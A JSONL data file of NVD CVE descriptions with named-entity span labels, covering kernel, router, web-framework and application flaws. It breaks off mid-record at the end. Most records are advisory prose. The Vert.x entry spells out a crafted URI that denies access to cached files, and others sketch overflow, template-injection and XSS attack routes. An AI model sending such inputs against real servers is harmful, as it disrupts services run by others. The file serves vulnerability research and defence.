{"text": "A vulnerability was determined in libvips up to 8.19.0. The affected element is the function vips_source_read_to_memory of the file libvips/iofuncs/source.c. This manipulation causes heap-based buffer overflow. It is possible to launch the attack on the local host. The attack's complexity is rated as high. The exploitability is described as difficult. The exploit has been publicly disclosed and may be utilized. Patch name: a56feecbe9ed66521d9647ec9fbcd2546eccd7ee. Applying a patch is the recommended action to fix this issue. The confirmation of the bugfix mentions: \"[T]he impact of this is negligible, since this only affects custom seekable sources larger than 4 GiB (and the crash occurs in user code rather than libvips itself).\"", "spans": {"HASH: a56feecbe9ed66521d9647ec9fbcd2546eccd7ee": [[427, 467]], "FILEPATH: /iofuncs/source.c.": [[139, 157]], "VULNERABILITY: heap-based buffer overflow": [[183, 209]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2913"}}
{"text": "An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi_TD01, and AC18 V15.03.05.19(6318_)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/addressNat entrys and mitInterface parameters for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks.", "spans": {"FILEPATH: /goform/addressNat": [[303, 321]], "ORGANIZATION: Tenda": [[27, 32]], "VULNERABILITY: buffer overflow": [[215, 230]], "VULNERABILITY: code execution": [[566, 580]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13390"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm, slub: avoid zeroing kmalloc redzone\n\nSince commit 946fa0dbf2d8 (\"mm/slub: extend redzone check to extra\nallocated kmalloc space than requested\"), setting orig_size treats\nthe wasted space (object_size - orig_size) as a redzone. However with\ninit_on_free=1 we clear the full object->size, including the redzone.\n\nAdditionally we clear the object metadata, including the stored orig_size,\nmaking it zero, which makes check_object() treat the whole object as a\nredzone.\n\nThese issues lead to the following BUG report with \"slub_debug=FUZ\ninit_on_free=1\":\n\n[    0.000000] =============================================================================\n[    0.000000] BUG kmalloc-8 (Not tainted): kmalloc Redzone overwritten\n[    0.000000] -----------------------------------------------------------------------------\n[    0.000000]\n[    0.000000] 0xffff000010032858-0xffff00001003285f @offset=2136. First byte 0x0 instead of 0xcc\n[    0.000000] FIX kmalloc-8: Restoring kmalloc Redzone 0xffff000010032858-0xffff00001003285f=0xcc\n[    0.000000] Slab 0xfffffdffc0400c80 objects=36 used=23 fp=0xffff000010032a18 flags=0x3fffe0000000200(workingset|node=0|zone=0|lastcpupid=0x1ffff)\n[    0.000000] Object 0xffff000010032858 @offset=2136 fp=0xffff0000100328c8\n[    0.000000]\n[    0.000000] Redzone  ffff000010032850: cc cc cc cc cc cc cc cc                          ........\n[    0.000000] Object   ffff000010032858: cc cc cc cc cc cc cc cc                          ........\n[    0.000000] Redzone  ffff000010032860: cc cc cc cc cc cc cc cc                          ........\n[    0.000000] Padding  ffff0000100328b4: 00 00 00 00 00 00 00 00 00 00 00 00              ............\n[    0.000000] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted 6.11.0-rc3-next-20240814-00004-g61844c55c3f4 #144\n[    0.000000] Hardware name: NXP i.MX95 19X19 board (DT)\n[    0.000000] Call trace:\n[    0.000000]  dump_backtrace+0x90/0xe8\n[    0.000000]  show_stack+0x18/0x24\n[    0.000000]  dump_stack_lvl+0x74/0x8c\n[    0.000000]  dump_stack+0x18/0x24\n[    0.000000]  print_trailer+0x150/0x218\n[    0.000000]  check_object+0xe4/0x454\n[    0.000000]  free_to_partial_list+0x2f8/0x5ec\n\nTo address the issue, use orig_size to clear the used area. And restore\nthe value of orig_size after clear the remaining area.\n\nWhen CONFIG_SLUB_DEBUG not defined, (get_orig_size()' directly returns\ns->object_size. So when using memset to init the area, the size can simply\nbe orig_size, as orig_size returns object_size when CONFIG_SLUB_DEBUG not\nenabled. And orig_size can never be bigger than object_size.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49885"}}
{"text": "vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-47277"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid accessing uninitialized curseg\n\nsyzbot reports a f2fs bug as below:\n\nF2FS-fs (loop3): Stopped filesystem due to reason: 7\nkworker/u8:7: attempt to access beyond end of device\nBUG: unable to handle page fault for address: ffffed1604ea3dfa\nRIP: 0010:get_ckpt_valid_blocks fs/f2fs/segment.h:361 [inline]\nRIP: 0010:has_curseg_enough_space fs/f2fs/segment.h:570 [inline]\nRIP: 0010:__get_secs_required fs/f2fs/segment.h:620 [inline]\nRIP: 0010:has_not_enough_free_secs fs/f2fs/segment.h:633 [inline]\nRIP: 0010:has_enough_free_secs+0x575/0x1660 fs/f2fs/segment.h:649\n <TASK>\n f2fs_is_checkpoint_ready fs/f2fs/segment.h:671 [inline]\n f2fs_write_inode+0x425/0x540 fs/f2fs/inode.c:791\n write_inode fs/fs-writeback.c:1525 [inline]\n __writeback_single_inode+0x708/0x10d0 fs/fs-writeback.c:1745\n writeback_sb_inodes+0x820/0x1360 fs/fs-writeback.c:1976\n wb_writeback+0x413/0xb80 fs/fs-writeback.c:2156\n wb_do_writeback fs/fs-writeback.c:2303 [inline]\n wb_workfn+0x410/0x1080 fs/fs-writeback.c:2343\n process_one_work kernel/workqueue.c:3236 [inline]\n process_scheduled_works+0xa66/0x1840 kernel/workqueue.c:3317\n worker_thread+0x870/0xd30 kernel/workqueue.c:3398\n kthread+0x7a9/0x920 kernel/kthread.c:464\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\nCommit 8b10d3653735 (\"f2fs: introduce FAULT_NO_SEGMENT\") allows to trigger\nno free segment fault in allocator, then it will update curseg->segno to\nNULL_SEGNO, though, CP_ERROR_FLAG has been set, f2fs_write_inode() missed\nto check the flag, and access invalid curseg->segno directly in below call\npath, then resulting in panic:\n\n- f2fs_write_inode\n - f2fs_is_checkpoint_ready\n  - has_enough_free_secs\n   - has_not_enough_free_secs\n    - __get_secs_required\n     - has_curseg_enough_space\n      - get_ckpt_valid_blocks\n      : access invalid curseg->segno\n\nTo avoid this issue, let's:\n- check CP_ERROR_FLAG flag in prior to f2fs_is_checkpoint_ready() in\nf2fs_write_inode().\n- in has_curseg_enough_space(), save curseg->segno into a temp variable,\nand verify its validation before use.", "spans": {"FILEPATH: /f2fs/segment.h": [[360, 375], [425, 440], [486, 501], [552, 567], [627, 642], [683, 698]], "FILEPATH: /f2fs/inode.c": [[744, 757]], "FILEPATH: /x86/kernel/process.c": [[1306, 1327]], "FILEPATH: /x86/entry/entry_64.S": [[1365, 1386]], "FILEPATH: writeback.c": [[781, 792], [852, 863], [909, 920], [958, 969], [998, 1009], [1054, 1065]], "FILEPATH: workqueue.c": [[1096, 1107], [1167, 1178], [1218, 1229]], "FILEPATH: kthread.c": [[1263, 1272]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22123"}}
{"text": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web):  https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);", "spans": {"URL: https://github.com/eclipse-vertx/vert.x/pull/5895": [[316, 365]], "URL: https://example.com/foo/index.html": [[578, 612]], "URL: https://example.com/foo/bar%2F..%2Findex.html": [[632, 677]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1002"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRISC-V: kexec: Fix memory leak of elf header buffer\n\nThis is reported by kmemleak detector:\n\nunreferenced object 0xff2000000403d000 (size 4096):\n  comm \"kexec\", pid 146, jiffies 4294900633 (age 64.792s)\n  hex dump (first 32 bytes):\n    7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00  .ELF............\n    04 00 f3 00 01 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<00000000566ca97c>] kmemleak_vmalloc+0x3c/0xbe\n    [<00000000979283d8>] __vmalloc_node_range+0x3ac/0x560\n    [<00000000b4b3712a>] __vmalloc_node+0x56/0x62\n    [<00000000854f75e2>] vzalloc+0x2c/0x34\n    [<00000000e9a00db9>] crash_prepare_elf64_headers+0x80/0x30c\n    [<0000000067e8bf48>] elf_kexec_load+0x3e8/0x4ec\n    [<0000000036548e09>] kexec_image_load_default+0x40/0x4c\n    [<0000000079fbe1b4>] sys_kexec_file_load+0x1c4/0x322\n    [<0000000040c62c03>] ret_from_syscall+0x0/0x2\n\nIn elf_kexec_load(), a buffer is allocated via vzalloc() to store elf\nheaders.  While it's not freed back to system when kdump kernel is\nreloaded or unloaded, or when image->elf_header is successfully set and\nthen fails to load kdump kernel for some reason. Fix it by freeing the\nbuffer in arch_kimage_file_post_load_cleanup().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[88, 99]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50765"}}
{"text": "In Splunk Enterprise and Universal Forwarder versions before 9.0, the Splunk command-line interface (CLI) did not validate TLS certificates while connecting to a remote Splunk platform instance by default. After updating to version 9.0, see  Configure TLS host name validation for the Splunk CLI https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation#Configure_TLS_host_name_validation_for_the_Splunk_CLI  to enable the remediation. The vulnerability does not affect the Splunk Cloud Platform. At the time of publishing, we have no evidence of exploitation of this vulnerability by external parties.\n\nThe issue requires conditions beyond the control of a potential bad actor such as a machine-in-the-middle attack. Hence, Splunk rates the complexity of the attack as High.", "spans": {"URL: https://docs.splunk.com/Documentation/Splunk/9.0.0/Security/EnableTLSCertHostnameValidation#Configure_TLS_host_name_validation_for_the_Splunk_CLI": [[296, 441]], "SYSTEM: Splunk Enterprise": [[3, 20]], "SYSTEM: Splunk Cloud": [[508, 520]], "ORGANIZATION: Splunk": [[70, 76], [169, 175], [285, 291], [759, 765]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-32156"}}
{"text": "The OpenTelemetry Collector module AWS firehose receiver is for ingesting AWS Kinesis Data Firehose delivery stream messages and parsing the records received based on the configured record type. `awsfirehosereceiver` allows unauthenticated remote requests, even when configured to require a key. OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header `X-Amz-Firehose-Access-Key` with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it **still accepts incoming requests with no key**. Only OpenTelemetry Collector users configured with the “alpha” `awsfirehosereceiver` module are affected. This module was added in version v0.49.0 of the “Contrib” distribution (or may be included in custom builds). There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints. A fix was introduced in PR #34847 and released with v0.108.0. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"ORGANIZATION: AWS": [[35, 38], [74, 77], [375, 378]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45043"}}
{"text": "Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Estimate and Actual Charges). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Depot Repair, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data as well as unauthorized update, insert or delete access to some of Oracle Depot Repair accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [282, 288], [420, 426], [613, 619], [716, 722]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2842"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nirqchip/gicv3: Workaround for NVIDIA erratum T241-FABRIC-4\n\nThe T241 platform suffers from the T241-FABRIC-4 erratum which causes\nunexpected behavior in the GIC when multiple transactions are received\nsimultaneously from different sources. This hardware issue impacts\nNVIDIA server platforms that use more than two T241 chips\ninterconnected. Each chip has support for 320 {E}SPIs.\n\nThis issue occurs when multiple packets from different GICs are\nincorrectly interleaved at the target chip. The erratum text below\nspecifies exactly what can cause multiple transfer packets susceptible\nto interleaving and GIC state corruption. GIC state corruption can\nlead to a range of problems, including kernel panics, and unexpected\nbehavior.\n\n>From the erratum text:\n  \"In some cases, inter-socket AXI4 Stream packets with multiple\n  transfers, may be interleaved by the fabric when presented to ARM\n  Generic Interrupt Controller. GIC expects all transfers of a packet\n  to be delivered without any interleaving.\n\n  The following GICv3 commands may result in multiple transfer packets\n  over inter-socket AXI4 Stream interface:\n   - Register reads from GICD_I* and GICD_N*\n   - Register writes to 64-bit GICD registers other than GICD_IROUTERn*\n   - ITS command MOVALL\n\n  Multiple commands in GICv4+ utilize multiple transfer packets,\n  including VMOVP, VMOVI, VMAPP, and 64-bit register accesses.\"\n\n  This issue impacts system configurations with more than 2 sockets,\n  that require multi-transfer packets to be sent over inter-socket\n  AXI4 Stream interface between GIC instances on different sockets.\n  GICv4 cannot be supported. GICv3 SW model can only be supported\n  with the workaround. Single and Dual socket configurations are not\n  impacted by this issue and support GICv3 and GICv4.\"\n\n\nWriting to the chip alias region of the GICD_In{E} registers except\nGICD_ICENABLERn has an equivalent effect as writing to the global\ndistributor. The SPI interrupt deactivate path is not impacted by\nthe erratum.\n\nTo fix this problem, implement a workaround that ensures read accesses\nto the GICD_In{E} registers are directed to the chip that owns the\nSPI, and disable GICv4.x features. To simplify code changes, the\ngic_configure_irq() function uses the same alias region for both read\nand write operations to GICD_ICFGR.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: NVIDIA": [[99, 105], [337, 343]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53383"}}
{"text": "InvenTree is an Open Source Inventory Management System. Prior to version 1.2.3, insecure server-side templates can be hijacked to expose secure information to the client. When generating custom batch codes, the InvenTree server makes use of a customizable jinja2 template, which can be modified by a staff user to exfiltrate sensitive information or perform code execution on the server. This issue requires access by a user with granted staff permissions, followed by a request to generate a custom batch code via the API. Once the template has been modified in a malicious manner, the API call to generate a new batch code could be made by other users, and the template code will be executed with their user context. The code has been patched to ensure that all template generation is performed within a secure sandboxed context. This issue has been addressed in version 1.2.3, and any versions from 1.3.0 onwards. Some workarounds are available. The batch code template is a configurable global setting which can be adjusted via any user with staff access. To prevent this setting from being edited, it can be overridden at a system level to a default value, preventing it from being edited. This requires system administrator access, and cannot be changed from the client side once the server is running. It is recommended that for InvenTree installations prior to 1.2.3 the `STOCK_BATCH_CODE_TEMPLATE` and `PART_NAME_FORMAT` global settings are overridden at the system level to prevent editing.", "spans": {"VULNERABILITY: code execution": [[359, 373]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27629"}}
{"text": "Plate is a javascript toolkit that makes it easier for you to develop with Slate, a popular framework for building text editors. One longstanding feature of Plate is the ability to add custom DOM attributes to any element or leaf using the `attributes` property. These attributes are passed to the node component using the `nodeProps` prop. It has come to our attention that this feature can be used for malicious purposes, including cross-site scripting (XSS) and information exposure (specifically, users' IP addresses and whether or not they have opened a malicious document). Note that the risk of information exposure via attributes is only relevant to applications in which web requests to arbitrary URLs are not ordinarily allowed. Plate editors that allow users to embed images from arbitrary URLs, for example, already carry the risk of leaking users' IP addresses to third parties. All Plate editors using an affected version of @udecode/plate-core are vulnerable to these information exposure attacks via the style attribute and other attributes that can cause web requests to be sent. In addition, whether or not a Plate editor is vulnerable to cross-site scripting attacks using attributes depends on a number of factors. The most likely DOM attributes to be vulnerable are href and src on links and iframes respectively. Any component that spreads {...nodeProps} onto an <a> or <iframe> element and does not later override href or src will be vulnerable to XSS. In patched versions of Plate, we have disabled element.attributes and leaf.attributes for most attribute names by default, with some exceptions including target, alt, width, height, colspan and rowspan on the link, image, video, table cell and table header cell plugins. If this is a breaking change for you, you can selectively re-enable attributes for certain plugins as follows. Please carefully research and assess the security implications of any attribute you allow, as even seemingly innocuous attributes such as style can be used maliciously. If you are unable to upgrade to any of the patched versions, you should use a tool like patch-package or yarn patch to remove the logic from @udecode/plate-core that adds attributes to nodeProps.", "spans": {"VULNERABILITY: cross-site scripting": [[434, 454], [1157, 1177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47061"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/gma500: Fix BUG: sleeping function called from invalid context errors\n\ngma_crtc_page_flip() was holding the event_lock spinlock while calling\ncrtc_funcs->mode_set_base() which takes ww_mutex.\n\nThe only reason to hold event_lock is to clear gma_crtc->page_flip_event\non mode_set_base() errors.\n\nInstead unlock it after setting gma_crtc->page_flip_event and on\nerrors re-take the lock and clear gma_crtc->page_flip_event it\nit is still set.\n\nThis fixes the following WARN/stacktrace:\n\n[  512.122953] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:870\n[  512.123004] in_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 1253, name: gnome-shell\n[  512.123031] preempt_count: 1, expected: 0\n[  512.123048] RCU nest depth: 0, expected: 0\n[  512.123066] INFO: lockdep is turned off.\n[  512.123080] irq event stamp: 0\n[  512.123094] hardirqs last  enabled at (0): [<0000000000000000>] 0x0\n[  512.123134] hardirqs last disabled at (0): [<ffffffff8d0ec28c>] copy_process+0x9fc/0x1de0\n[  512.123176] softirqs last  enabled at (0): [<ffffffff8d0ec28c>] copy_process+0x9fc/0x1de0\n[  512.123207] softirqs last disabled at (0): [<0000000000000000>] 0x0\n[  512.123233] Preemption disabled at:\n[  512.123241] [<0000000000000000>] 0x0\n[  512.123275] CPU: 3 PID: 1253 Comm: gnome-shell Tainted: G        W         5.19.0+ #1\n[  512.123304] Hardware name: Packard Bell dot s/SJE01_CT, BIOS V1.10 07/23/2013\n[  512.123323] Call Trace:\n[  512.123346]  <TASK>\n[  512.123370]  dump_stack_lvl+0x5b/0x77\n[  512.123412]  __might_resched.cold+0xff/0x13a\n[  512.123458]  ww_mutex_lock+0x1e/0xa0\n[  512.123495]  psb_gem_pin+0x2c/0x150 [gma500_gfx]\n[  512.123601]  gma_pipe_set_base+0x76/0x240 [gma500_gfx]\n[  512.123708]  gma_crtc_page_flip+0x95/0x130 [gma500_gfx]\n[  512.123808]  drm_mode_page_flip_ioctl+0x57d/0x5d0\n[  512.123897]  ? drm_mode_cursor2_ioctl+0x10/0x10\n[  512.123936]  drm_ioctl_kernel+0xa1/0x150\n[  512.123984]  drm_ioctl+0x21f/0x420\n[  512.124025]  ? drm_mode_cursor2_ioctl+0x10/0x10\n[  512.124070]  ? rcu_read_lock_bh_held+0xb/0x60\n[  512.124104]  ? lock_release+0x1ef/0x2d0\n[  512.124161]  __x64_sys_ioctl+0x8d/0xd0\n[  512.124203]  do_syscall_64+0x58/0x80\n[  512.124239]  ? do_syscall_64+0x67/0x80\n[  512.124267]  ? trace_hardirqs_on_prepare+0x55/0xe0\n[  512.124300]  ? do_syscall_64+0x67/0x80\n[  512.124340]  ? rcu_read_lock_sched_held+0x10/0x80\n[  512.124377]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  512.124411] RIP: 0033:0x7fcc4a70740f\n[  512.124442] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 18 48 8b 44 24 18 64 48 2b 04 25 28 00 00\n[  512.124470] RSP: 002b:00007ffda73f5390 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n[  512.124503] RAX: ffffffffffffffda RBX: 000055cc9e474500 RCX: 00007fcc4a70740f\n[  512.124524] RDX: 00007ffda73f5420 RSI: 00000000c01864b0 RDI: 0000000000000009\n[  512.124544] RBP: 00007ffda73f5420 R08: 000055cc9c0b0cb0 R09: 0000000000000034\n[  512.124564] R10: 0000000000000000 R11: 0000000000000246 R12: 00000000c01864b0\n[  512.124584] R13: 0000000000000009 R14: 000055cc9df484d0 R15: 000055cc9af5d0c0\n[  512.124647]  </TASK>", "spans": {"FILEPATH: /locking/mutex.c": [[631, 647]], "FILEPATH: /23/2013": [[1483, 1491]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48634"}}
{"text": "TP-Link UE330 USB splitter devices through 2021-08-09, in certain specific use cases in which the device supplies power to audio-output equipment, allow remote attackers to recover speech signals from an LED on the device, via a telescope and an electro-optical sensor, aka a \"Glowworm\" attack. We assume that the USB splitter supplies power to some speakers. The power indicator LED of the USB splitter is connected directly to the power line, as a result, the intensity of the USB splitter's power indicator LED is correlative to its power consumption. The sound played by the connected speakers affects the USB splitter's power consumption and as a result is also correlative to the light intensity of the LED. By analyzing measurements obtained from an electro-optical sensor directed at the power indicator LED of the USB splitter, we can recover the sound played by the connected speakers.", "spans": {"ORGANIZATION: TP-Link": [[0, 7]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38543"}}
{"text": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: WLS Core Components). Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebLogic Server accessible data as well as unauthorized read access to a subset of Oracle WebLogic Server accessible data. CVSS 3.0 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 10.3.6.0": [[155, 163]], "IP_ADDRESS: 12.1.3.0": [[170, 178]], "ORGANIZATION: Oracle": [[21, 27], [55, 61], [290, 296], [431, 437], [620, 626], [710, 716]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2552"}}
{"text": "Pterodactyl is a free, open-source game server management panel. When a user disables two-factor authentication via the Panel, a `DELETE` request with their current password in a query parameter will be sent.  While query parameters are encrypted when using TLS, many webservers (including ones officially documented for use with Pterodactyl) will log query parameters in plain-text, storing a user's password in plain text. Prior to version 1.11.8, if a malicious user obtains access to these logs they could potentially authenticate against a user's account; assuming they are able to discover the account's email address or username separately. This problem has been patched in version 1.11.8. There are no workarounds at this time. There is not a direct vulnerability within the software as it relates to logs generated by intermediate components such as web servers or Layer 7 proxies. Updating to `v1.11.8` or adding the linked patch manually are the only ways to avoid this problem. As this vulnerability relates to historical logging of sensitive data, users who have ever disabled 2FA on a Panel (self-hosted or operated by a company) should change their passwords and consider enabling 2FA if it was left disabled. While it's unlikely that their account swill be compromised by this vulnerability, it's not impossible. Panel administrators should consider clearing any access logs that may contain sensitive data.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49762"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: rtl8150: enable basic endpoint checking\n\nSyzkaller reports [1] encountering a common issue of utilizing a wrong\nusb endpoint type during URB submitting stage. This, in turn, triggers\na warning shown below.\n\nFor now, enable simple endpoint checking (specifically, bulk and\ninterrupt eps, testing control one is not essential) to mitigate\nthe issue with a view to do other related cosmetic changes later,\nif they are necessary.\n\n[1] Syzkaller report:\nusb 1-1: BOGUS urb xfer, pipe 3 != type 1\nWARNING: CPU: 1 PID: 2586 at drivers/usb/core/urb.c:503 usb_submit_urb+0xe4b/0x1730 driv>\nModules linked in:\nCPU: 1 UID: 0 PID: 2586 Comm: dhcpcd Not tainted 6.11.0-rc4-syzkaller-00069-gfc88bb11617>\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\nRIP: 0010:usb_submit_urb+0xe4b/0x1730 drivers/usb/core/urb.c:503\nCode: 84 3c 02 00 00 e8 05 e4 fc fc 4c 89 ef e8 fd 25 d7 fe 45 89 e0 89 e9 4c 89 f2 48 8>\nRSP: 0018:ffffc9000441f740 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: ffff888112487a00 RCX: ffffffff811a99a9\nRDX: ffff88810df6ba80 RSI: ffffffff811a99b6 RDI: 0000000000000001\nRBP: 0000000000000003 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000001\nR13: ffff8881023bf0a8 R14: ffff888112452a20 R15: ffff888112487a7c\nFS:  00007fc04eea5740(0000) GS:ffff8881f6300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f0a1de9f870 CR3: 000000010dbd0000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n rtl8150_open+0x300/0xe30 drivers/net/usb/rtl8150.c:733\n __dev_open+0x2d4/0x4e0 net/core/dev.c:1474\n __dev_change_flags+0x561/0x720 net/core/dev.c:8838\n dev_change_flags+0x8f/0x160 net/core/dev.c:8910\n devinet_ioctl+0x127a/0x1f10 net/ipv4/devinet.c:1177\n inet_ioctl+0x3aa/0x3f0 net/ipv4/af_inet.c:1003\n sock_do_ioctl+0x116/0x280 net/socket.c:1222\n sock_ioctl+0x22e/0x6c0 net/socket.c:1341\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl fs/ioctl.c:893 [inline]\n __x64_sys_ioctl+0x193/0x220 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fc04ef73d49\n...\n\nThis change has not been tested on real hardware.", "spans": {"FILEPATH: /usb/core/urb.c": [[606, 621], [904, 919]], "FILEPATH: /06/2024": [[850, 858]], "FILEPATH: /net/usb/rtl8150.c": [[1766, 1784]], "FILEPATH: /core/dev.c": [[1816, 1827], [1868, 1879], [1917, 1928]], "FILEPATH: /ipv4/devinet.c": [[1966, 1981]], "FILEPATH: /ipv4/af_inet.c": [[2014, 2029]], "FILEPATH: /x86/entry/common.c": [[2300, 2319], [2362, 2381]], "FILEPATH: socket.c": [[2066, 2074], [2108, 2116]], "FILEPATH: ioctl.c": [[2136, 2143], [2175, 2182], [2215, 2222], [2268, 2275]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[784, 790], [791, 797], [813, 819], [841, 847]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21708"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix BUG_ON condition in btrfs_cancel_balance\n\nPausing and canceling balance can race to interrupt balance lead to BUG_ON\npanic in btrfs_cancel_balance. The BUG_ON condition in btrfs_cancel_balance\ndoes not take this race scenario into account.\n\nHowever, the race condition has no other side effects. We can fix that.\n\nReproducing it with panic trace like this:\n\n  kernel BUG at fs/btrfs/volumes.c:4618!\n  RIP: 0010:btrfs_cancel_balance+0x5cf/0x6a0\n  Call Trace:\n   <TASK>\n   ? do_nanosleep+0x60/0x120\n   ? hrtimer_nanosleep+0xb7/0x1a0\n   ? sched_core_clone_cookie+0x70/0x70\n   btrfs_ioctl_balance_ctl+0x55/0x70\n   btrfs_ioctl+0xa46/0xd20\n   __x64_sys_ioctl+0x7d/0xa0\n   do_syscall_64+0x38/0x80\n   entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\n  Race scenario as follows:\n  > mutex_unlock(&fs_info->balance_mutex);\n  > --------------------\n  > .......issue pause and cancel req in another thread\n  > --------------------\n  > ret = __btrfs_balance(fs_info);\n  >\n  > mutex_lock(&fs_info->balance_mutex);\n  > if 